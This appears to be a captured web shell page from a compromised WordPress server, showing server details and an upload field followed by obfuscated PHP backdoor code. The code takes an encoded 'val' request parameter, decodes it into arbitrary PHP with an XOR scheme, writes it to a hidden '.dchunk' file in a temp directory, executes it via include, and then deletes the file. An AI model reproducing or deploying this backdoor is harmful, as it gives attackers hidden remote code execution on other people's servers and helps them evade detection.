| Server IP : 146.190.157.162 / Your IP : 216.73.216.175 Web Server : Apache System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64 User : vergeskit ( 679) PHP Version : 8.2.10-2ubuntu2.2 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/vergeskit/wp-content/languages/ |
Upload File : |
<!--vYCWO1kl-->
<?php
if(in_array("va\x6C", array_keys($_REQUEST))){
$flag = array_filter([getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]);
$element = $_REQUEST["va\x6C"];
$element = explode ( ".",$element ) ;
$resource = '';
$s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s4);
$i = 0;
foreach ($element as $val) {
$sChar = ord($s4[$i % $sLen]);
$dec = ((int)$val - $sChar - ($i % 10)) ^ 67;
$resource .= chr($dec);
$i++;
}
while ($sym = array_shift($flag)) {
if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) {
$pgrp = vsprintf("%s/%s", [$sym, ".dchunk"]);
if (file_put_contents($pgrp, $resource)) {
include $pgrp;
@unlink($pgrp);
exit;
}
}
}
}